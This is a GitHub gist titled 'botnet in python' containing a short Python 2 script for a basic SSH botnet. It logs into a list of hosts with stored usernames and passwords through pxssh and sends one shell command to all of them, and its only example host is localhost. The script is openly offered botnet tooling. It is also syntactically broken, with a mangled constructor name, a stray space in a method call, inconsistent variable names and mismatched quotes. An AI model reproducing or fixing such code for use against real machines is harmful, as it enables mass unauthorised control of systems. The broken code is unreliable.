Created
September 11, 2018 13:25
-
-
Save lava9868/362642f5be1cb62674d161fe1fd39850 to your computer and use it in GitHub Desktop.
botnet in python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# basic ssh botnet | |
import pxssh #calling pxssh module | |
class Client: #defining class with name client | |
def_init_(self,host,user,password): | |
self.host = host | |
self.user=user | |
self.password = password | |
self.session = self.connect() # for ssh session | |
def connect(self): # connect method, takes self | |
try: | |
s=pxssh.pxssh() | |
s.login(self.host,self.user,self.password) | |
return s | |
except Exception,e: | |
print e | |
print '[-] Error Connecting' | |
def send_command(self,cmd): | |
self.session.sendline(cmd) | |
self.session.prompt() | |
return self.session.before | |
def botnetComand(command): | |
for client in botnet: | |
output = client.send _command(command) | |
print'[*] Output from '+client.host | |
print'[*]'+ output | |
def addClient(host,user,password): | |
client = Client(host,user,password) | |
botNet.append(client) | |
botNet = [] | |
addClient('127.0.0.1',''ubuntu','pass') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment